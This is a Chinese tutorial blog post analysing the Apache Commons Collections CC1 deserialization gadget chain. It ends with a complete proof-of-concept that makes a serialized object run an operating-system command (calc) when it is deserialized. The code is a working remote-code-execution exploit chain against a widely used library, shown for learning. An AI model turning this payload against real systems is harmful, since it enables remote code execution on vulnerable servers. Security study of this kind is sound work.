Java反序列化漏洞-CC1利用链分析
@
一、前置知识
1. 反射
首先,Java执行系统命令的语句是这样的:
Runtime.getRuntime().exec("calc");
用反射的方法执行Runtime.getRuntime().exec("calc")
的语句是这样的:
//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");
如果上面这些反射代码看不懂,建议补一下反射基础:
2. Commons Collections是什么
Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。 从那时起,它已成为 Java 中公认的集合处理标准。
Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。
像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。
3. 环境准备
本文中漏洞复现环境:
- commons-collections 3.2.1
- jdk 1.8.0_65
在pom.xml添加commons-collections依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
在项目结构中指定JDK版本
二、分析利用链
这个链分析顺序是从链的最后部分·,即执行命令的逻辑部分开始分析,一直到反序列化的入口点结束。
1. Transformer
Transformer是一个接口,这个接口声明了一个transform函数
2. InvokeTransformer
这个类的位置:org.apache.commons.collections.functors.InvokerTransformer
看一下InvokeTransformer的构造方法和tramsform方法,这里吧一些不必要的代码省去了
public class InvokerTransformer implements Transformer, Serializable {
//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//实现Transformer接口的tramsform方法
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
构造方法:InvokerTransformer(方法名,形参列表,实参列表)
tramsform方法:
- 调用接收到的对象的getClass方法,获取他的类对象
- 用getMethod方法获取cls类对象的iMethodName方法
- 用invoke方法执行input对象的iMethodName方法,参数是iArgs
也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)
执行命令
用 InvokeTransformer 来弹个计算器试试
package com.zzy.ApacheCC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Blog {
public static void main(String[] args) {
Class[] paramTypes = {String.class};
Object[] args1 = {"calc"};
InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
it.transform(Runtime.getRuntime());
}
}
上面这段代码相当于执行了这些东西:
Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
如何不直接调用transform方法,让程序自动调用transform方法来命令执行呢?请先看下面这几个类。
3. ConstantTransformer
ConstantTransformer的构造方法把传过来的值赋给iConstant
然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很没意思的一个方法是吧。
关键代码:
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
然后我们先看下一个类
4. ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer的构造方法接收一个Transformer类型的数组
然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformr的transform方法,
给transform方法一个初始值,然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行
听起来是不是有点绕,在脑子里过几遍,然后再实际调试一下,这样就差不多能看懂了。
执行命令
我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);
由于Runtime类没有实现Serializable接口,无法进行序列化,但是Class类实现了Serializable接口。
所以这里再改进一下代码,用Runtime.class命令执行
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")
Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);
上面这些代码相当于执行了这些操作:
Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");
成功执行命令
这里可以自动调用InvokerTransformer的transform了,但是又多出来个ChainedTransformer的transform,现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。
5. TransformedMap
类位置:org.apache.commons.collections.map.TransformedMap
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}
静态decorate方法可以调用TransformedMap的构造方法,返回一个TransformedMap实例。
TransformedMap的checkSetValue方法调用了transform方法,valueTransformer的值可以通过构造方法的第三个参数获得。
但是checkSetValue方法修饰符是protected,无法直接调用它,我们接着寻找一个可以调用checkSetValue方法的类。
6. AbstractInputCheckedMapDecorator
它是TransformedMap的父类
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。
7. AnnotationInvocationHandler
这个类的主要作用是为注解处理器提供代理对象,以便在运行时动态地处理注解。
这个类的位置:sun.reflect.annotation.AnnotationInvocationHandler
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
这个类的readObject方法调用了var5的setValue方法,readObject正好是反序列化的入口点,终于快结束了。
var5是怎么来的呢?
AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues
在readObject中最后赋给了var5
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
next方法位置:AbstractInputCheckedMapDecorator.EntrySetIterator#next
在这里 next()
方法用于迭代原始映射中的键值对,并将其转换为MapEntry
类型。在这个方法中,首先通过调用迭代器的next()
方法来获取下一个元素,并将其强制转换为Map.Entry
类型。然后,使用获取到的键值对和父对象作为参数,创建一个新的MapEntry
对象,并将其作为方法的返回值。
返回一个MapEntry对象,那个AnnotationInvocationHandler的var5就是MapEntry对象,最后调用了MapEntry的SetValue方法。
执行MapEntry的SetValue方法又会调用checkSetValue方法
checkSetValue调用ChainedTransformer的transform方法,进而达到命令执行的效果
到此,利用链构造完毕,我们将编写完整的POC
三、编写POC
1. ChainedTransformer
这一步无需多言,跟在ChainedTransformer那里讲的一样,最后获得一个ChainedTransformer对象
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2. decorate
新建一个HashMap对象,他的键(Key)的名称为value
,至于为什么是value在本文章第五节会分析
TransformedMap.decorate返回一个TransformedMap实例,
实例的valueTransformer的值就是chainedTransformer
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
3. AnnotationInvocationHandler
用反射方法新建AnnotationInvocationHandler对象,用构造方法把上一步的TransformedMap实例传进来
构造方法传的参数为什么是 Target.class 在本文章第五节会分析
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);
4. 执行序列化和反序列化操作
反序列化时触发readObject,进而触发setValue,setValue时触发checkSetValue,checkSetValue返回的时候执行transform方法,最终进行命令执行
这里使用自己建立的序列化和反序列化方法,来模拟真实环境的反序列化。
serial(poc);
unserial();
这是序列化和反序列化的方法,不懂的话可以看 菜鸟教程 Java 序列化
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
in.readObject();
}
四、完整POC代码
package com.test.ApacheCC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Blog {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);
/*
AnnotationInvocationHandler
*/
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
in.readObject();
}
}
成功执行命令
五、为什么是Target.class,为什么是"value"
1. 构造方法中的判断
通过构造方法给AnnotationInvocationHandler的var1赋值为Target.class
然后把var1赋值给了this.type (记住这个变量)
把var2赋值给了this.memberValues
获取var1所有的接口
Class[] var3 = var1.getInterfaces();
然后if语句里面有三个条件,满足这三个条件才能给 memberValues
赋值,才能在readObject
时触发利用链
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
- var1.isAnnotation() => 检查
var1
是否是一个注解 - var3.length == 1 => 检查
var1
的接口数量是否为1 - var3[0] == Annotation.class => 检查这个唯一的接口是否是
Annotation.class
通过调试可以看到,var3[0]即Target.class.getInterfaces()[0]
的值就是Annotation类对象,即 Annotation.class
所以构造方法应该传入一个注解类型的类对象。
2. readObject中的判断
var7 != null
AnnotationInvocationHandler的readObject里面有一个判断,var7不为空才继续执行下面的代码
var7的值
var7怎么来的呢?看代码:
var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
之前分析AnnotationInvocationHandler的时候知道
var5和var6的值
var5的值就是decorate传进来的那个键值对
var6的值就是var5的key,即 "value"
var7的值通过var3得到
var3的值
var3则是 AnnotationType.getInstance(this.type).memberTypes()
Target.class:
可以看到Target只有一个名为value的成员类型
var3 包含了Target
注解中定义的所有成员类型的键值对,通过调试可以看到结构是这样的:
其中,键是成员名称(String类型),值是成员的类型(Class类型)
回到var7
给var7赋值的代码是
Class var7 = (Class)var3.get(var6);
根据CC利用链学习的解释var3 是HashMap类型的,那么执行的就是HashMap的get方法
根据菜鸟教程对get方法的解释,get方法就是获取指定key的value
具体到上面这段代码就是这样
Class var7 = (Class)var3.get("value");
也就是获取到Target.class的value的类型,这里是ElementType
回到POC代码
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
如果这里map.put传入的 key ,在Target.class中没有对应的成员名称的话,var3就找不到var6,那么var7就为null,就无法执行下面的setValue了。
六、利用链
这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
MapEntry.checkSetValue()
TransformedMap.transform()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
感谢安全研究员 Innocent.. 的指导
参考文章和视频
讯飞星火
java-CC链1分析
白日梦组长 CC1链手写EXP
Java反序列化漏洞-CC1利用链分析的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java反序列化漏洞从入门到深入(转载)
前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...
- Java反序列化漏洞Apache CommonsCollections分析
Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
随机推荐
- 使用Vue3+elementPlus的Tree组件实现一个拖拽文件夹管理
目录 1.前言 2.分析 3. 实现 4.踩坑 4.1.拖拽辅助线的坑 4.2.数据的坑 4.3.限制拖拽 4.4.样式调整 1.前言 最近在做一个文件夹管理的功能,要实现一个树状的文件夹面板.里面包 ...
- 开源.NetCore通用工具库Xmtool使用连载 - 扩展动态对象篇
[Github源码] <上一篇> 介绍了Xmtool工具库中的图形验证码类库,今天我们继续为大家介绍其中的扩展动态对象类库. 扩展动态对象是整个工具库中最重要的一个设计.在软件开发过程中, ...
- jquery设置图片可手动拖拽
JQuery是一款流行的JavaScript框架,可以轻松实现网页交互效果.而其中一种常见效果是图片手动拖拽.以下是设置图片手动拖拽的JQuery代码. 1 2 3 4 5 6 7 8 9 10 11 ...
- 服务链路追踪 —— SpringCloud Sleuth
Sleuth 简介 随着业务的发展,系统规模变得越来越大,微服务拆分越来越细,各微服务间的调用关系也越来越复杂.客户端请求在后端系统中会经过多个不同的微服务调用来协同产生最后的请求结果,几平每一个请求 ...
- 俄罗斯版IDM安装与破解以及解决B站视频网站不弹出下载浮窗
IDM 全称 Internet Download Manager,是一款非常优秀的多线程下载和视频嗅探工具,不仅可以显著提高文件下载速度,配合IDM浏览器扩展插件,还可以嗅探并下载YouTube.知乎 ...
- 轻松掌握组件启动之Redis集群扩展秘籍:轻松扩容与缩容,释放高性能潜能
扩展集群操作 扩容 在我们原始的集群基础上,我们决定增加一台主节点(8007)和一台从节点(8008),这样新增的节点将会在下图中以虚线框的形式显示在集群中. 1: 首先,在 /usr/local/r ...
- 如何使用Python将PDF转为图片
将PDF转为图片能方便我们将文档内容上传至社交媒体平台进行分享.此外,转换为图片后,还可以对图像进行进一步的裁剪.调整大小或添加标记等操作. 用Python将PDF文件转JPG/ PNG图片可能是大家 ...
- 人工智能AI浪潮的掀起,打工人何去何从?
感谢你阅读本文 自从2022年11月30日OpenAI公司推出了ChatGPT,至今一年了,而这一年国内也发生了天翻地覆的变化,各大厂商纷纷推出了自己的大模型和解决方案,例如百度的文心一言,阿里的通义 ...
- GameFramework摘录 - 1. ReferencePool
GameFramework是一个结构很优秀的Unity游戏框架,但意图似乎在构建可跨引擎的框架?对要求不高的小型个人(不专业)开发来说有些设计过度了,但其中的设计精华很值得学习. 首先来说一下其中的R ...
- PolygonCollider2D.OverlapPoint()在小scale下失效的一种解决办法
偶然发现PolygonCollider2D的方法OverlapPoint()有时会失效(一直返回false),测试后发现在scale(这里指世界空间的scale,后同)很小的情况下(通常在UI Can ...